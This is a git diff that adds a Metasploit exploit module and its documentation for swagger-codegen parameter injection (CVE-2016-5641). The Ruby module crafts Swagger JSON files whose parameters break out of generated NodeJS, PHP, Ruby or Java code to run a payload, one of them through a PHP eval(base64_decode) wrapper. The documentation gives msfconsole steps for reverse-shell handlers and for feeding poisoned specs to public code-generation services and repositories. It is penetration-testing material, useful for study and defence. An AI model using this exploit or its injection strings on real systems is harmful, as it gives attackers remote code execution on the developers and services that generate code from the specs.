diff --git a/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md b/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md new file mode 100755 index 0000000000..20a3f4540b --- /dev/null +++ b/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md @@ -0,0 +1,115 @@ +The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads. + +In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing. + +Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module. + + +## Verification Steps + +All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp. + +1. Start msfconsole +2. Start a callback handler listening for a the appropriate payload (e.g.) + +``` +use exploit/multi/handler +set PAYLOAD nodejs/shell_reverse_tcp + +set LHOST 192.168.68.138 +set LPORT 4444 + +run +``` +3. Pick a target + +## Targets + +**NodeJS** + +This attack injects a payload into javascript by terminating a URL path string. + + +``` + +use exploit/multi/fileformat/swagger_param_inject +set PAYLOAD nodejs/shell_reverse_tcp +set INFO_VERSION "1.0.0" +set SWAGGER_HOST "localhost" +run +``` + +**PHP** + +This attack injects a payload into PHP multiline comment area. + + +``` + +use exploit/multi/fileformat/swagger_param_inject +set PAYLOAD php/meterpreter/reverse_tcp +set SWAGGER_HOST "localhost" +run +``` + +**ruby** + +This attack injects a payload into ruby multiline comment area. + + +``` + +use exploit/multi/fileformat/swagger_param_inject +set PAYLOAD ruby/shell_reverse_tcp +set SWAGGER_HOST "localhost" +run +``` + +**Java** + +This attack injects a payload into Java by terminating a URL path string. + + +``` + +use exploit/multi/fileformat/swagger_param_inject +set PAYLOAD java/jsp_shell_reverse_tcp +set SWAGGER_HOST "localhost" +run +``` + +## Quick Test + +Use the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases. + + +## Scenarios + +Effective against services with either these dependencies + +* [swagger-codegen](https://github.com/swagger-api/swagger-codegen) + * public API [generator.swagger.io](http://generator.swagger.io/) + * public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/) +* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates) + +**Possible Attack approach.** + +1. Research the target environment and component dependencies. +2. Setup appropriate payload callback listener. +3. generate the appropriate swagger document with associated MS payload (see above for examples) + + +**Against a webservice (2nd order attack / blind code-gen)** + +*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...* + +4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition. +5. Wait for callback handler event. + +**Against a code repository or public hosting of spec** + +*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.* + +4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition. +5. Wait for callback handler event. + diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index 7d73935782..d2c542c280 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -227,6 +227,7 @@ class Exploit 'php/meterpreter/reverse_tcp', 'php/meterpreter_reverse_tcp', 'ruby/shell_reverse_tcp', + 'nodejs/shell_reverse_tcp', 'cmd/unix/interact', 'cmd/unix/reverse', 'cmd/unix/reverse_perl', diff --git a/modules/exploits/multi/fileformat/swagger_param_inject.rb b/modules/exploits/multi/fileformat/swagger_param_inject.rb new file mode 100644 index 0000000000..028ad9a438 --- /dev/null +++ b/modules/exploits/multi/fileformat/swagger_param_inject.rb @@ -0,0 +1,162 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# +# Gems +# +require 'base64' + +# +# Project +# + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'JSON Swagger CodeGen Parameter Injector', + 'Description' => %q{ + This module generates a Open API Specification 2.0 (Swagger) compliant + json document that includes payload insertion points in parameters. + + In order for the payload to be executed, an attacker must convince + someone to generate code from a specially modified swagger.json file + within a vulnerable swagger-codgen appliance/container/api/service, + and then to execute that generated code (or include it into software + which will later be executed by another victim). By doing so, an + attacker can execute arbitrary code as the victim user. The same + vulnerability exists in the YAML format. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'ethersnowman ' + ], + 'References' => + [ + [ 'URL', 'http://github.com/swagger-api/swagger-codegen' ], + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ] + ], + 'Platform' => %w{ nodejs php java ruby }, + 'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ], + 'Targets' => + [ + ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ], + ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ], + ['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ], + ['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ] + ], + 'DisclosureDate' => 'Jun 23 2016', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']), + OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']), + OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']), + OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']), + OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]), + OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']), + OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']), + OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']), + OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']), + OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']), + OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F']) + ], self.class) + end + + def swagger + %Q( + { + "swagger": "2.0", + "info": { + "description": "#{datastore['INFO_DESCRIPTION']}", + "version": "#{datastore['INFO_VERSION']}", + "title": "#{datastore['INFO_TITLE']}" + }, + "schemes": [ + "#{datastore['SWAGGER_SCHEME']}" + ], + "host": "#{datastore['SWAGGER_HOST']}", + "basePath": "#{datastore['BASE_PATH']}", + "produces": [ + "application/json" + ], + "consumes": [ + "application/json" + ], + "paths": { + "#{datastore['PATH']}": { + "get": { + "description": "#{datastore['PATH_DESCRIPTION']}", + "responses": { + "200": { + "description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}", + "schema": { + "$ref": "#/definitions/d" + } + } + } + } + } + }, + "definitions": { + "d": { + "type": "object", + "description": "#{datastore['DEFINITION_DESCRIPTION']}", + "properties": { + "id": { + "type": "integer", + "format": "int64" + } + } + } + } + } + ) + end + + def exploit + case payload.arch[0] + when 'nodejs' + payload_loc = 'PATH' + payload_prefix = "/a');};};return exports;}));" + payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('" + wrapped_payload = payload_prefix + payload.encoded + payload_suffix + when 'php' + payload_loc = 'INFO_DESCRIPTION' + payload_prefix = "*/ namespace foobar; eval(base64_decode('" + payload_suffix = "')); /*" + wrapped_payload = payload_prefix + + Base64.strict_encode64(payload.encoded) + + payload_suffix + when 'ruby' + payload_loc = 'INFO_TITLE' + payload_prefix = "=end " + payload_suffix = "=begin " + wrapped_payload = payload_prefix + payload.encoded + payload_suffix + when 'java' + payload_loc = 'PATH' + payload_prefix = %q{a\\\"; "} + p = payload.encoded.gsub(/<%@page import="/, 'import ') + p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '') + p = p.gsub(/"/, '\\"').gsub(/\n/, ' ') + wrapped_payload = payload_prefix + p + else + raise IncompatiblePayloadError.new(datastore['PAYLOAD']) + end + + datastore[payload_loc] = wrapped_payload + + print_status swagger + file_create swagger + end +end